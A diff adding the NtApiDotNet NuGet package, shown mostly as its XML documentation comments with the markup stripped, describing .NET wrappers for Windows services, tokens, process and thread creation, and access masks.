2000/XP: Browser Stop key + + + + + Windows 2000/XP: Browser Search key + + + + + Windows 2000/XP: Browser Favorites key + + + + + Windows 2000/XP: Browser Start and Home key + + + + + Windows 2000/XP: Volume Mute key + + + + + Windows 2000/XP: Volume Down key + + + + + Windows 2000/XP: Volume Up key + + + + + Windows 2000/XP: Next Track key + + + + + Windows 2000/XP: Previous Track key + + + + + Windows 2000/XP: Stop Media key + + + + + Windows 2000/XP: Play/Pause Media key + + + + + Windows 2000/XP: Start Mail key + + + + + Windows 2000/XP: Select Media key + + + + + Windows 2000/XP: Start Application 1 key + + + + + Windows 2000/XP: Start Application 2 key + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Windows 2000/XP: For any country/region, the '+' key + + + + + Windows 2000/XP: For any country/region, the ',' key + + + + + Windows 2000/XP: For any country/region, the '-' key + + + + + Windows 2000/XP: For any country/region, the '.' key + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Used for miscellaneous characters; it can vary by keyboard. + + + + + Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard + + + + + Windows 95/98/Me, Windows NT 4.0, Windows 2000/XP: IME PROCESS key + + + + + Windows 2000/XP: Used to pass Unicode characters as if they were keystrokes. + The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, + see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP + + + + + Attn key + + + + + CrSel key + + + + + ExSel key + + + + + Erase EOF key + + + + + Play key + + + + + Zoom key + + + + + Reserved + + + + + PA1 key + + + + + Clear key + + + + + Class representing the information about a service. + + + + + The name of the service. + + + + + The security descriptor of the service. + + + + + The list of triggers for the service. + + + + + The service SID setting. + + + + + The service launch protected setting. + + + + + The service required privileges. + + + + + The service type. + + + + + Service start type. + + + + + Error control. + + + + + Binary path name. + + + + + Load order group. + + + + + Tag ID for load order. + + + + + Dependencies. + + + + + Display name. + + + + + Service start name. For user mode services this is the username, for drivers it's the driver name. + + + + + Indicates this service is set to delayed automatic start. + + + + + The user name this service runs under. + + + + + Type of service host when using Win32Share. + + + + + Service main function when using Win32Share. + + + + + Image path for the service. + + + + + Get name of the target image, either the ServiceDll or ImagePath. + + + + + Service DLL if a shared process server. + + + + + The name of the machine this service was found on. + + + + + Indicates if this service process is grouped with others. + + + + + Class to represent custom data for a service trigger. + + + + + The type of data. + + + + + The raw custom data. + + + + + The custom data as a string. + + + + + The custom data as an array of strings (only useful for String type). + + + + + Overidden ToString method. + + The data as a string. + + + + Trigger information for a service. + + + + + The type of service trigger. + + + + + The service trigger action. + + + + + The sub-type GUID. + + + + + The description of the sub type. + + + + + Custom data. + + + + + Overridden ToString method. + + The trigger as a string. + + + + Trigger the service. + + + + + Service trigger type. + + + + + Represents an action that the service control manager can perform. + + + + + The action to be performed. + + + + + The time to wait before performing the specified action, in milliseconds. + + + + The action to be performed. + The time to wait before performing the specified action, in milliseconds. + + + + Utilities for accessing services. + + + + + The name of the fake NT type for a service. + + + + + The name of the fake NT type for the SCM. + + + + + Get the generic mapping for the SCM. + + The SCM generic mapping. + + + + Get the generic mapping for a service. + + The service generic mapping. + + + + Get the security descriptor of the SCM. + + The SCM security descriptor. + + + + Get the security descriptor of the SCM. + + The name of a target computer. Can be null or empty to specify local machine. + Parts of the security descriptor to return. + True to throw on error. + The SCM security descriptor. + + + + Get the security descriptor of the SCM. + + The name of a target computer. Can be null or empty to specify local machine. + Parts of the security descriptor to return. + The SCM security descriptor. + + + + Get the security descriptor of the SCM. + + Parts of the security descriptor to return. + True to throw on error. + The SCM security descriptor. + + + + Get the security descriptor of the SCM. + + Parts of the security descriptor to return. + The SCM security descriptor. + + + + Get the security descriptor for a service. + + The name of the service. + Parts of the security descriptor to return. + True to throw on error. + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor. + + + + Get the security descriptor for a service. + + The name of the service. + Parts of the security descriptor to return. + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor. + + + + Get the security descriptor for a service. + + The name of the service. + Parts of the security descriptor to return. + True to throw on error. + The security descriptor. + + + + Get the security descriptor for a service. + + The name of the service. + Parts of the security descriptor to return. + The security descriptor. + + + + Set the SCM security descriptor. + + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor to set. + The parts of the security descriptor to set. + True to throw on error. + The NT status code. + + + + Set the SCM security descriptor. + + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor to set. + The parts of the security descriptor to set. + + + + Set the SCM security descriptor. + + The security descriptor to set. + The parts of the security descriptor to set. + True to throw on error. + The NT status code. + + + + Set the SCM security descriptor. + + The security descriptor to set. + The parts of the security descriptor to set. + + + + Get the information about a service. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + True to throw on error. + The service information. + + + + Get the information about a service. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + The service information. + + + + Get the information about a service. + + The name of the service. + True to throw on error. + The service information. + + + + Set the security descriptor for a service. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor to set. + The security information to set. + True to throw on error. + The NT status. + + + + Set the security descriptor for a service. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + The security descriptor to set. + The security information to set. + + + + Set the security descriptor for a service. + + The name of the service. + The security descriptor to set. + The security information to set. + True to throw on error. + The NT status. + + + + Set the security descriptor for a service. + + The name of the service. + The security descriptor to set. + The security information to set. + + + + Get the information about a service. + + The name of the service. + The service information. + + + + Get the information about all services. + + The name of a target computer. Can be null or empty to specify local machine. + The types of services to return. + The list of service information. + + + + Get the information about all services. + + The types of services to return. + The list of service information. + + + + Get the PID of a running service. + + The name of the service. + Returns the PID of the running service, or 0 if not running. + Thrown on error. + + + + Get the PIDs of a list of running service. + + The names of the services. + Returns the PID of the running service, or 0 if not running. + Thrown on error. + + + + Get a running service by name. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + True to throw on error. + The running service. + This will return active and non-active services as well as drivers. + + + + Get a running service by name. + + The name of the service. + The name of a target computer. Can be null or empty to specify local machine. + The running service. + This will return active and non-active services as well as drivers. + + + + Get a running service by name. + + The name of the service. + The running service. + True to throw on error. + This will return active and non-active services as well as drivers. + + + + Get a running service by name. + + The name of the service. + The running service. + This will return active and non-active services as well as drivers. + + + + Get a list of all registered services. + + The name of a target computer. Can be null or empty to specify local machine. + Specify state of services to get. + Specify the type filter for services. + A list of registered services. + + + + Get a list of all registered services. + + Specify state of services to get. + Specify the type filter for services. + A list of registered services. + + + + Get flags for all user service types. + + The flags for user service types. + + + + Get flags for all kernel driver types. + + The flags for kernel driver types. + + + + Get a list of all registered services. + + A list of registered services. + + + + Get a list of all active running services with their process IDs. + + A list of all active running services with process IDs. + + + + Get a list of all drivers. + + A list of all drivers. + + + + Get a list of all active running drivers. + + A list of all active running drivers. + + + + Get a list of all services and drivers. + + A list of all services and drivers. + + + + Get a list of all services and drivers. + + A list of all services and drivers. + + + + Get a fake NtType for a service. + + Service returns the service type, SCM returns SCM type. + The fake service NtType. Returns null if not a recognized type. + + + + Create a new service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + True to throw on error. + The registered service information. + + + + Create a new service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + The registered service information. + + + + Create a new service. + + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + True to throw on error. + The registered service information. + + + + Create a new service. + + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + The registered service information. + + + + Delete a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + True to throw on error. + The NT status. + + + + Delete a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The NT status. + + + + Delete a service. + + The name of the service. + True to throw on error. + The NT status. + + + + Delete a service. + + The name of the service. + + + + Send a control code to a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + True to throw on error. + The NT status code. + + + + Send a control code to a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + + + + Send a control code to a service. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + + + + Send a control code to a service. + + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + + + + Send a control code to a service. + + The name of the service. + The control code to send. If >= 128 will be sent as a custom control code. + + + + Change service configuration. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + Load group order. + The tag ID. + List of service dependencies. + The username for the service. + Password for the username if needed. + True to throw on error. + The NT status code. + + + + Change service configuration. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + The tag ID. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + + + + Change service configuration. + + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + The tag ID. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + True to throw on error. + The NT status code. + + + + Change service configuration. + + The name of the service. + The display name for the service. + The service type. + The service start type. + Error control. + Path to the service executable. + The tag ID. + Load group order. + List of service dependencies. + The username for the service. + Password for the username if needed. + + + + Start a service by name. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + Optional arguments to pass to the service. + True to throw on error. + The status code for the service. + + + + Start a service by name. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + Optional arguments to pass to the service. + + + + Start a service by name. + + The name of the service. + Optional arguments to pass to the service. + True to throw on error. + The status code for the service. + + + + Start a service by name. + + The name of the service. + Optional arguments to pass to the service. + The status code for the service. + + + + Set a service's SID type. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The SID type to set. + True to throw on error. + The NT status code. + + + + Set a service's SID type. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The SID type to set. + + + + Set a service's SID type. + + The name of the service. + The SID type to set. + True to throw on error. + The NT status code. + + + + Set a service's SID type. + + The name of the service. + The SID type to set. + + + + Set a service's delayed auto-start. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + If true, the service is started after other auto-start services are started plus a short delay. Otherwise, the service is started during system boot. + True to throw on error. + The NT status code. + + + + + + + + + + + + + + + Set a service's failure recover actions. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + Actions to be performed on service failure. +
If this value is null, is ignored. +
If this value is empty, the reset period and array of failure actions are deleted. + The time after which to reset the failure count to zero if there are no failures, in seconds. Specify -1 to indicate that this value should never be reset. + The command line of the process for the CreateProcess function to execute in response to the command run service controller action. +
This process runs under the same account as the service. +
If this value is null, the command is unchanged. +
If the value is an empty string (""), the command is deleted and no program is run when the service fails. + The message to be broadcast to server users before rebooting in response to the reboot action service controller action. +
If this value is null, the reboot message is unchanged. +
If the value is an empty string (""), the reboot message is deleted and no message is broadcast. +
This member can specify a localized string using the following format: @[path]dllname,-strID +
The string with identifier strID is loaded from dllname; path is optional. + True to throw on error. + The NT status code. +
+ + + + + + + + + + + + + + Set a service's required privileges. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The required privileges. + True to throw on error. + The NT status code. + + + + Set a service's required privileges. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The required privileges. + + + + Set a service's required privileges. + + The name of the service. + The required privileges. + True to throw on error. + The NT status code. + + + + Set a service's required privileges. + + The name of the service. + The required privileges. + + + + Set a service's launch protected type. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The protected type. + True to throw on error. + The NT status code. + + + + Set a service's launch protected type. + + The name of a target computer. Can be null or empty to specify local machine. + The name of the service. + The protected type. + + + + Set a service's required privileges. + + The name of the service. + The protected type. + True to throw on error. + The NT status code. + + + + Set a service's SID type. + + The name of the service. + The protected type. + + + + A service trigger for an ETW event. + + + + + The security descriptor for the ETW event. Needs administrator privileges. + + + + + Trigger the service. + + + + + Service trigger for firewall port interface. + + + + + The port for the firewall service trigger. + + + + + The protocol for the firewall service trigger. + + + + + The protocol for the firewall service trigger. + + + + + The protocol for the firewall service trigger. + + + + + Service trigger for a named pipe. + + + + + The path to the named pipe. + + + + + Service trigger for an RPC interface. + + + + + List of interface ID for the RPC server. + + + + + Class to represent a handle to the SCM. + + + + + Active services database. + + + + + Failed services database. + + + + + Open an instance of the SCM. + + The machine name for the SCM. + The database name. Specify SERVICES_ACTIVE_DATABASE or SERVICES_FAILED_DATABASE. + If null then SERVICES_ACTIVE_DATABASE is used. + The desired access for the SCM connection. + True to throw on error. + The SCM instance. + + + + Open an instance of the SCM. + + The machine name for the SCM. + The database name. Specify SERVICES_ACTIVE_DATABASE or SERVICES_FAILED_DATABASE. + If null then SERVICES_ACTIVE_DATABASE is used. + The desired access for the SCM connection. + The SCM instance. + + + + Open an instance of the SCM. + + The machine name for the SCM. + The desired access for the SCM connection. + The SCM instance. + + + + Get the Win32 services for the SCM. + + The state of the services to return. + The types of services to return. + True throw on error. + The list of services. + SCM must have been opened with EnumerateService access. + + + + Get the Win32 services for the SCM. + + The state of the services to return. + The types of services to return. + The list of services. + SCM must have been opened with EnumerateService access. + + + + Dispose the object. + + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + True to throw on error. + The security descriptor + + + + Get the security descriptor specifying which parts to retrieve + + What parts of the security descriptor to retrieve + The security descriptor + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + True to throw on error. + + + + Set the object's security descriptor + + The security descriptor to set. + What parts of the security descriptor to set + + + + Service trigger for a WNF event. + + + + + The WNF name. + + + + + Represents a loaded module from the symbol resolver. + + + + + The name of the module. + + + + + The base address of the module. + + + + + The image size of the module. + + + + + Get the path to the loaded PDB file is known. + + + + + True indicates this module only has export symbols. + + + + + Query names of types for this module. + + The list of type names. + + + + Query types in a module. + + The list of types. + + + + Get a type by name. + + The name of the type. + + + + + Query types by name + + A mask string for the type name. e.g. mod!ABC* + The list of types. + + + + Returns the name of the module. + + The name of the module. + + + + Static class for creating symbolic resolvers. + + + + + Create a new instance of a symbol resolver. + + The process in which the symbols should be resolved. + The path to dbghelp.dll, ideally should use the one which comes with Debugging Tools for Windows. + The symbol path. + Flags for the symbol resolver. + A text writer for output when specifying the TraceSymbolLoading flag. + The instance of a symbol resolver. Should be disposed when finished. + + + + Create a new instance of a symbol resolver. + + The process in which the symbols should be resolved. + The path to dbghelp.dll, ideally should use the one which comes with Debugging Tools for Windows. + The symbol path. + The instance of a symbol resolver. Should be disposed when finished. + + + + Create a new instance of a symbol resolver. Uses the system dbghelp library and symbol path + from _NT_SYMBOL_PATH environment variable. + + The process in which the symbols should be resolved. + The instance of a symbol resolver. Should be disposed when finished. + + + + Enumeration for safer level. + + + + + Constrained. + + + + + Fully trusted. + + + + + Normal user. + + + + + Untrusted. + + + + + Class to access tokens through various mechanisms. + + + + + Logon a user using S4U + + The username. + The user's realm. + + The logged on token. + + + + Get the anonymous token. + + The access rights for the opened token. + The anonymous token. + + + + Get the anonymous token. + + The anonymous token. + + + + Logon a user. + + The username. + The user's domain. + The user's password. + The logon token's type. + Optional list of additonal groups to add. + The logged on token. + + + + Logon a user. + + The username. + The user's domain. + The user's password. + The logon token's type. + Optional list of additonal groups to add. + The Logon provider. + The logged on token. + + + + Logon a user. + + The username. + The user's domain. + The user's password. + The logon token's type. + Optional list of additonal groups to add. + The Logon provider. + True to throw on error. + The logged on token. + + + + Open the current clipboard token. + + + + + + + + Get the token from the clipboard. + + The access rights for the opened token. + The clipboard token. + + + + Get the token from the clipboard. + + The clipboard token. + + + + Derive a package sid from a name. + + The name of the package. + True to throw on error. + The derived Sid + + + + Derive a package sid from a name. + + The name of the package. + The derived Sid + + + + Derive a restricted package sid from an existing pacakge sid. + + The base package sid. + The restricted name for the sid. + True to throw on error. + The derived Sid. + + + + Derive a restricted package sid from an existing pacakge sid. + + The base package sid. + The restricted name for the sid. + The derived Sid. + + + + Derive a restricted package sid from an existing package sid. + + The base package name. + The restricted name for the sid. + The derived Sid. + + + + Get the package SID from a name. + + The name of the package, can be either an SDDL SID or a package name. + The derived SID. + + + + Get a safer token. + + The base token. + The safer level to use. + True to make the token inert. + The safer token. + + + + Get session token for a session ID. + + The session ID. + The session token. + + + + Get tokens for all logged on sessions. + + Needs SeTcbPrivilege to work. + The list of session tokens. + + + + Create an AppContainer token using the CreateAppContainerToken API. + + The token to base the new token on. Can be null. + The AppContainer package SID. + List of capabilities. + True to throw on error. + The appcontainer token. + This exported function was only introduced in RS3 + + + + Create an AppContainer token using the CreateAppContainerToken API. + + The token to base the new token on. Can be null. + The AppContainer package SID. + List of capabilities. + The appcontainer token. + This exported function was only introduced in RS3 + + + + Create an AppContainer token using the CreateAppContainerToken API. + + The AppContainer package SID. + List of capabilities. + The appcontainer token. + This exported function was only introduced in RS3 + + + + Win32 Error Codes. + + + + + Flags for DefineDosDevice + + + + + None + + + + + Specify a raw target path + + + + + Remove existing definition + + + + + Only remove exact matches to the target + + + + + Don't broadcast changes to the system + + + + + Disposition values for CreateFile. + + + + + Create a new file. Fail if it exists. + + + + + Always create a new file, overwrite if it exists. + + + + + Open a file, fail if it doesn't exist. + + + + + Open a file, create if it doesn't exist. + + + + + Truncate existing file. + + + + + Flags for GetWin32PathName. + + + + + No flags. + + + + + GUID format. + + + + + NT format. + + + + + No specific format. + + + + + Opened file name. + + + + + Class representing a win32 process. + + + + + Create process with a token. + + The token to create the process with. + The process configuration. + The created win32 process. + + + + Create process with a token. + + The token to create the process with. + The path to the executable. + The process command line. + Process creation flags. + The desktop name. + The created win32 process. + + + + Create process with a token from a user logon. + + The username. + The user's domain. + The user's password. + Logon flags. + The process configuration. + The created win32 process. + + + + Create process with a token from a user logon. + + The user's credentials. + Logon flags. + The process configuration. + True to throw on error. + The created win32 process. + + + + Create process with a token from a user logon. + + The user's credentials. + Logon flags. + The process configuration. + The created win32 process. + + + + Create process with a token from a user logon. + + The username. + The user's domain. + The user's password. + Logon flags. + The process configuration. + The created win32 process. + + + + Create process with a token from a user logon. + + The username. + The user's domain. + The user's password. + Logon flags. + The path to the executable. + The process command line. + Process creation flags. + The desktop name. + The created win32 process. + + + + Create process with a token. + + The token to create the process with. + The process configuration. + The created win32 process. + + + + Create process. + + The process configuration. + The created win32 process. + + + + Create process. + + Optional parent process. + The path to the executable. + The process command line. + Process creation flags. + The desktop name. + The created win32 process. + + + + Dispose the process. + + + + + Resume the entire process. + + + + + Suspend the entire process. + + + + + Terminate the process + + The exit code for the termination + + + + The handle to the process. + + + + + The handle to the initial thread. + + + + + The process ID of the process. + + + + + The thread ID of the initial thread. + + + + + True to terminate process when disposed. + + + + + Get the process' exit status. + + + + + Get the process' exit status as an NtStatus code. + + + + + Explicit conversion operator to an NtThread object. + + The win32 process + + + + Explicit conversion operator to an NtProcess object. + + The win32 process + + + + Specify the CreateProcess API to use with a Token. + + + + + Use CreateProcessAsUser, if that fails use CreateProcessWithToken. + + + + + Use only CreateProcessAsUser. + + + + + User only CreateProcessWithToken. + + + + + Win32 process creation configuration. + + + + + Specify security descriptor of process. + + + + + Specify process handle is inheritable. + + + + + Specify security descriptor of thread. + + + + + Specify thread handle is inheritable. + + + + + Specify to inherit handles. + + + + + Specify parent process. + + + + + Specify path to application executable. + + + + + Specify command line. + + + + + Specify creation flags. + + + + + Specify environment block. + + + + + Specify current directory. + + + + + Specify desktop name. + + + + + Specify window title. + + + + + True to terminate the process when it's disposed. + + + + + Specify the mitigation options. + + + + + Specify the mitigation options 2. + + + + + Specify win32k filter flags. + + + + + Specify win32k filter level. + + + + + Specify PP level. + + + + + Specify list of handles to inherit. + + + + + Specify the appcontainer Sid. + + + + + Specify the appcontainer capabilities. + + + + + Specify LPAC. + + + + + Restrict the process from creating child processes. + + + + + Override child process creation restriction. + + + + + Set child process mitigation flags. + + + + + Specify new process policy when creating a desktop bridge application. + + + + + Specify a token to use for the new process. + + + + + Specify a stdin handle for the new process (you must inherit the handle). + + + + + Specify a stdout handle for the new process (you must inherit the handle). + + + + + Specify a stderror handle for the new process (you must inherit the handle). + + + + + Specify the package name to use. + + + + + Specify handle to pseudo console. + + + + + Specify Base Named Objects isolation prefix. + + + + + Specify the safe open prompt original claim. + + + + + When specifying the debug flags use this debug object instead of the current thread's object. + + + + + When specified do not fallback to using CreateProcessWithToken if CreateProcessWithUser fails. + + + + + Specify additional extended flags. + + + + + Specify list of handles to inherit. + + + + + Specify a service window station and desktop. + + + + + Specify authentication credentials for CreateProcessWithLogon. + + + + + Specify logon flags for the Credentials or when calling CreateProcessWithToken. + + + + + Specify the type of API to call when specifying a token. + + + + + Specify component filter flags. + + + + + Add an object's handle to the list of inherited handles. + + The object to add. + The raw handle value. + Note that this doesn't maintain a reference to the object. It should be kept + alive until the process has been created. + + + + Add an AppContainer capability by name. + + The name of the capability. + + + + Add an AppContainer capability by name. + + The capability SID. + + + + Set AppContainer SID from a package name. + + The package name. + + + + Constructor. + + + + + Flags for create process. + + + + + No flags. + + + + + Debug process. + + + + + Debug only this process. + + + + + Create suspended. + + + + + Detach process. + + + + + Create a new console. + + + + + Normal priority class. + + + + + Idle priority class. + + + + + High priority class. + + + + + Realtime priority class. + + + + + Create a new process group. + + + + + Create from a unicode environment. + + + + + Create a separate WOW VDM. + + + + + Share the WOW VDM. + + + + + Force DOS process. + + + + + Below normal priority class. + + + + + Above normal priority class. + + + + + Inherit parent affinity. + + + + + Inherit caller priority (deprecated) + + + + + Create a protected process. + + + + + Specify extended startup information is present. + + + + + Process mode background begin. + + + + + Process mode background end. + + + + + Create a secure process. + + + + + Breakaway from a job object. + + + + + Preserve code authz level. + + + + + Default error mode. + + + + + No window. + + + + + Profile user. + + + + + Profile kernel. + + + + + Profile server. + + + + + Ignore system default. + + + + + Flags for CreateProcessWithLogon + + + + + No flags. + + + + + With a profile. + + + + + Using network credentials. + + + + + Win32k filter flags. + + + + + No flags. + + + + + Enable filter. + + + + + Audit filter. + + + + + Flags for create thread. + + + + + No flags. + + + + + Create suspended. + + + + + Stack size is a reservation. + + + + + Specify PPL level. + + + + + None + + + + + Safe level as parent. + + + + + Tcb PPL + + + + + Windows PP + + + + + Windows PPL + + + + + Antimalware PPL + + + + + LSA PPL + + + + + Tcb PP + + + + + Code Generation PPL + + + + + Authenticode PP + + + + + App PPL + + + + + Extended process flags. + + + + + No flags. + + + + + Log elevation failure. + + + + + Ignore elevation requirements. + + + + + Force job breakaway (needs TCB privilege). + + + + + Process mitigation option flags. + + + + + Process mitigation option 2 flags. + + + + + Class representing a service instance. + + + + + The name of the service. + + + + + The description of the service. + + + + + Type of service. + + + + + Image path for the service. + + + + + Command line for the service. + + + + + Service DLL if a shared process server. + + + + + Current service status. + + + + + What controls are accepted by the service. + + + + + Whether the service can be stopped. + + + + + The Win32 exit code. + + + + + The service specific exit code, if Win32ExitCode is Win32Error.ERROR_SERVICE_SPECIFIC_ERROR. + + + + + The checkpoint while starting. + + + + + Waiting hint time. + + + + + Service flags. + + + + + Process ID of the running service. + + + + + The security descriptor of the service. + + + + + The list of triggers for the service. + + + + + The service SID type. + + + + + The service launch protected setting. + + + + + The service required privileges. + + + + + Service start type. + + + + + Whether the service is a delayed auto start service. + + + + + Error control. + + + + + Load order group. + + + + + Tag ID for load order. + + + + + Dependencies. + + + + + The user name this service runs under. + + + + + Type of service host when using Win32Share. + + + + + Service main function when using Win32Share. + + + + + Indicates if this service process is grouped with others. + + + + + The name of the machine this service was found on. + + + + + Overridden ToString method. + + The name of the service. + + + + Utilities for Win32 APIs. + + + + + Get a mask dictionary for a type. + + The enumerated type to query for names. + The valid access. + A dictionary mapping a mask value to a name. + + + + Get a mask dictionary for a type. + + The enumerated type to query for names. + The valid access. + Specify to get the SDK name instead of a formatting enumerated name. + A dictionary mapping a mask value to a name. + + + + Display the edit security dialog. + + Parent window handle. + NT object to display the security. + The name of the object to display. + True to force the UI to read only. + + + + Display the edit security dialog. + + Parent window handle. + The name of the object to display. + The security descriptor to display. + The NT type of the object. + + + + Display the edit security dialog. + + Parent window handle. + The name of the object to display. + The security descriptor to display. + An enumerated type for the access mask. + Generic mapping for the access rights. + Valid access mask for the access rights. + + + + Define a new DOS device. + + The dos device flags. + The device name to define. + The target path. + + + + Get Windows INVALID_HANDLE_VALUE. + + + + + Parse a command line into arguments. + + The parsed command line. + The list of arguments. + + + + Get the image path from a command line. + + The command line to parse. + The image path, returns the original command line if can't find a valid image path. + + + + Get Win32 path name for a file. + + The file to get the path from. + Flags for the path to return. + True to throw on error. + The win32 path. + + + + Get Win32 path name for a file. + + The file to get the path from. + Flags for the path to return. + The win32 path. + + + + Format a message. + + The module containing the message. + The ID of the message. + The message. Empty string on error. + + + + Format a message. + + The ID of the message. + The message. Empty string on error. + + + + Open a file with the Win32 CreateFile API. + + The filename to open. + The desired access. + The share mode. + Optional security descriptor. + True to set the handle as inheritable. + Creation disposition. + Flags and attributes. + Optional template file. + True to throw on error. + The opened file handle. + + + + Open a file with the Win32 CreateFile API. + + The filename to open. + The desired access. + The share mode. + Optional security descriptor. + True to set the handle as inheritable. + Creation disposition. + Flags and attributes. + Optional template file. + The opened file handle. + + + + Open a file with the Win32 CreateFile API. + + The filename to open. + The desired access. + The share mode. + Creation disposition. + Flags and attributes. + True to throw on error. + The opened file handle. + + + + Open a file with the Win32 CreateFile API. + + The filename to open. + The desired access. + The share mode. + Creation disposition. + Flags and attributes. + The opened file handle. + + + + Send key down events. + + The key codes to send. + + + + Send key down events. + + The key codes to send. + + + + Send key down then up events. + + The key codes to send. + This will send all keys down first, then all up. + + + + This creates a Window Station using the User32 API. + + The name of the Window Station. + The Window Station. + + + + Create a remote thread. + + The process to create the thread in. + The thread security descriptor. + Whether the handle should be inherited. + The size of the stack. 0 for default. + Start address for the thread. + Parameter to pass to the thread. + The flags for the thread creation. + True to throw on error. + The created thread. + Thrown on error. + + + + Create a remote thread. + + The process to create the thread in. + The thread security descriptor. + Whether the handle should be inherited. + The size of the stack. 0 for default. + Start address for the thread. + Parameter to pass to the thread. + The flags for the thread creation. + The created thread. + Thrown on error. + + + + Create a remote thread. + + The process to create the thread in. + Start address for the thread. + Parameter to pass to the thread. + The flags for the thread creation. + The created thread. + Thrown on error. + + + + Get a list of all console sessions. + + True to throw on error. + The list of console sessions. + + + + Get a list of all console sessions. + + The list of console sessions. + + + + Write debug string to output. + + The debug string to write. + +
+
diff --git a/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll b/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll new file mode 100644 index 0000000..71ce735 Binary files /dev/null and b/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll differ diff --git a/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml b/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml new file mode 100644 index 0000000..1f8091c --- /dev/null +++ b/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml @@ -0,0 +1,51865 @@ + + + + NtApiDotNet + + + + + Result of an access check with specific access types. + + The access rights type, must be derived from an Enum. + + + + The NT status code from the access check. + + + + + The granted access mask from the check. + + + + + The granted access mapped to generic access mask. + + + + + The required privileges for this access. + + + + + The specific granted access mask from the check. + + + + + The specific granted access mapped to generic access mask. + + + + + Object type associated with the access. + + + + + The level of the object type if used. + + + + + Optional name for the object type. + + + + + When a result from an Audit Access Check indicates whether the + an audit needs to be generated on close. + + + + + Whether the access check was a success. + + + + + Get access check result as a specific access. + + The specific access results. + + + + Get access check result as a specific access. + + The specific access. + + + + Result of an access check. + + + + + Result of an access check with generic Enum access types. + + + + + Structure for an NT access mask. + + + + + The access mask's access bits. + + + + + Constructor. + + Access bits to use + + + + Implicit conversion from Int32. + + The access enumeration. + + + + Implicit conversion from UInt32. + + The access enumeration. + + + + Implicit conversion from enumerations. + + The access enumeration. + + + + Convert access mask to a generic access object. + + The generic access mask + + + + Convert access mask to a mandatory label policy + + The mandatory label policy + + + + Convert to a specific access right. + + The specific access right. + The converted value. + + + + Convert to a specific access right. + + The type of enumeration to convert to. + The converted value. + + + + Get whether this access mask is empty (i.e. it's 0) + + + + + Get whether this access mask has no access rights, i.e. not empty. + + + + + Get whether this access mask has generic access rights. + + + + + Get whether this access mask hash type specific access rights. + + + + + Get whether the current access mask is granted specific permissions. + + The access mask to check + True one or more access granted. + + + + Get whether the current access mask is granted all specific permissions. + + The access mask to check + True access all is granted. + + + + Bitwise AND operator. + + Access mask 1 + Access mask 2 + The new access mask. + + + + Bitwise OR operator. + + Access mask 1 + Access mask 2 + The new access mask. + + + + Bitwise AND operator. + + Access mask 1 + Access mask 2 + The new access mask. + + + + Bitwise OR operator. + + Access mask 1 + Access mask 2 + The new access mask. + + + + Equality operator. + + Access mask 1 + Access mask 2 + True if equal. + + + + Inequality operator. + + Access mask 1 + Access mask 2 + True if equal. + + + + Bitwise NOT operator. + + Access mask 1 + The new access mask. + + + + Overridden GetHashCode. + + The hash 